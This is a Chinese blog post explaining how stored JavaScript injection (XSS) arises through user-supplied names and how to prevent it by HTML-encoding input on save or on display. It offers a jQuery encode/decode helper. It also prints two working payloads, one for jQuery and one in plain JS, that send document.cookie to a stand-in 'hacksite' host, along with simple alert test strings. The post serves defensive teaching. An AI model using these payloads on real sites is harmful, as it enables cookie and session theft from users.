JavaScript注入漏洞的原理及防范(详解)


Posted in Javascript onDecember 04, 2016

初次接触:

初次接触JavaScript注入漏洞后,如果不对这种漏洞的作用机理仔细分析并提取出其发生的某种模式,你就不能做到快速的发现项目中可能存在的所有注入风险并在代码中防范。

发生模式:

JavaScript注入漏洞能发生作用主要依赖两个关键的动作,一个是用户要能从界面中注入JavaScript到系统的内存或者后台存储系统中;二是系统中存在一些UI会展示用户注入的数据。

比如注入漏洞最常见的就是发生在各种类型的名字中,比如系统中的人名等等,因为名字往往会在各种系统上显示,如果在某个用户输入名字的时候注入了脚本,那么受其影响的各个系统都有发生注入漏洞的风险。

曾经在帮别的项目做Bug Bash时,我给系统中的一个名字中注入了JavaScript脚本,结果导致使用这个名字的8个子系统、站点、app出现问题。

解决方案:

防范注入漏洞主要有两个思路:一个是在用户输入数据后Encode内容后再保存到持久存储,另一个是在展示用户输入数据的地方Encode从持久存储中取到的数据。

方法一的优点是一般存储用户输入数据的代码少而固定但展示输入数据的UI界面可能有很多而且还会有变化的可能,因此比较好防范;但缺点是存储在持久存储中的数据是Encode后的。

方法二的优点是存储在持久存储中的数据原始内容;但缺点是需要在多处UI界面中写代码防范,而且还得确保在增加新的UI时不忘防范。比如现在Web app比较流行,公司决定开发,那么在开发的过程必须要做好防范,否则可能别的地方都防范好了,但新系统中却没有做好防范,漏洞最后还是发生了。

JavaScript Html Encode/Decode by jQuery:

function htmlEncode(value){

return $('<div/>').text(value).html();

}

function htmlDecode(value){

return $('<div/>').html(value).text();

}

漏洞被用于攻击时注入内容:

jQuery场景:

<script>var i=$("<img></img>");i.attr("src", "http://hacksite?k="+document.cookie);$('body').append(i)</script>

原生JS场景:

<script>var d=document;var i=d.createElement("img");i.setAttribute("src","http://hacksite?k="+d.cookie);d.body.appendChild(i)</script>

测试漏洞时注入内容:

<script>alert(0)</script>

<script>debugger</script> --辅助开发人员快速定位出错的JavaScript代码(打开调试器的情况下)。

以上这篇JavaScript注入漏洞的原理及防范(详解)就是小编分享给大家的全部内容了,希望能给大家一个参考,也希望大家多多支持三水点靠木。

Javascript 相关文章推荐
javascript打开新窗口同时关闭旧窗口
Jan 16 Javascript
jQuery对象与DOM对象之间的转换方法
Apr 15 Javascript
javascript面向对象之this关键词用法分析
Jan 13 Javascript
jQuery.form插件的使用及跨域异步上传文件
Apr 27 Javascript
js实现统计字符串中特定字符出现个数的方法
Aug 02 Javascript
jquery 点击元素后,滚动条滚动至该元素位置的方法
Aug 05 Javascript
React Native使用Modal自定义分享界面的示例代码
Oct 31 Javascript
vue2中使用sass并配置全局的sass样式变量的方法
Sep 04 Javascript
angularjs http与后台交互的实现示例
Dec 21 Javascript
使用webpack编译es6代码的方法步骤
Apr 28 Javascript
turn.js异步加载实现翻书效果
Jul 25 Javascript
layer设置maxWidth及maxHeight解决方案
Jul 26 Javascript
浅谈html转义及防止javascript注入攻击的方法
Dec 04 #Javascript
jquery select2的使用心得(推荐)
Dec 04 #Javascript
Jquery删除css属性的简单方法
Dec 04 #Javascript
浅谈jQuery before和insertBefore的区别
Dec 04 #Javascript
jQuery根据ID、CLASS、等获取对象的实例
Dec 04 #Javascript
jQuery得到多个值只能用取Class ,不能用取ID的方法
Dec 04 #Javascript
javaScript中定义类或对象的五种方式总结
Dec 04 #Javascript
You might like
Discuz不使用插件实现简单的打赏功能
2019/03/21 PHP
JS支持带x身份证号码验证函数
2008/08/10 Javascript
JS实现关键字搜索时的相关下拉字段效果
2014/08/05 Javascript
JavaScript学习小结(7)之JS RegExp
2015/11/29 Javascript
JavaScript类型系统之基本数据类型与包装类型
2016/01/06 Javascript
node.js缺少mysql模块运行报错的解决方法
2016/11/13 Javascript
ajax分页效果(bootstrap模态框)
2017/01/23 Javascript
Node.js 中exports 和 module.exports 的区别
2017/03/14 Javascript
jQuery+ajax实现修改密码验证功能实例详解
2017/07/06 jQuery
vuejs手把手教你写一个完整的购物车实例代码
2017/07/06 Javascript
微信小程序整合使用富文本编辑器的方法详解
2019/04/25 Javascript
Node.js爬虫如何获取天气和每日问候详解
2019/08/26 Javascript
使用layui实现的左侧菜单栏以及动态操作tab项方法
2019/09/10 Javascript
JavaScript 如何计算文本的行数的实现
2020/09/14 Javascript
vue element实现表格合并行数据
2020/11/30 Vue.js
[57:41]Secret vs Serenity 2018国际邀请赛小组赛BO2 第一场 8.16
2018/08/17 DOTA
python通过字典dict判断指定键值是否存在的方法
2015/03/21 Python
Python多线程编程简单介绍
2015/04/13 Python
Python中用函数作为返回值和实现闭包的教程
2015/04/27 Python
Python解析excel文件存入sqlite数据库的方法
2016/11/15 Python
对TensorFlow的assign赋值用法详解
2018/07/30 Python
使用PyQtGraph绘制精美的股票行情K线图的示例代码
2019/03/14 Python
django框架forms组件用法实例详解
2019/12/10 Python
Pytorch实现神经网络的分类方式
2020/01/08 Python
python统计字符的个数代码实例
2020/02/07 Python
【HTML5】3D模型--百行代码实现旋转立体魔方实例
2016/12/16 HTML / CSS
Philosophy美国官网:美国美容品牌
2016/08/15 全球购物
高性能装备提升营地:Kammok
2019/02/27 全球购物
香港零食网购:上仓胃子
2020/06/08 全球购物
奶茶店创业计划书范文
2014/01/17 职场文书
文明宿舍获奖感言
2014/02/07 职场文书
医院我们的节日活动实施方案
2014/08/22 职场文书
2015年药店工作总结
2015/04/20 职场文书
2016年父亲节寄语
2015/12/04 职场文书
《兰兰过桥》教学反思
2016/02/20 职场文书
2016年全国助残日活动总结
2016/04/01 职场文书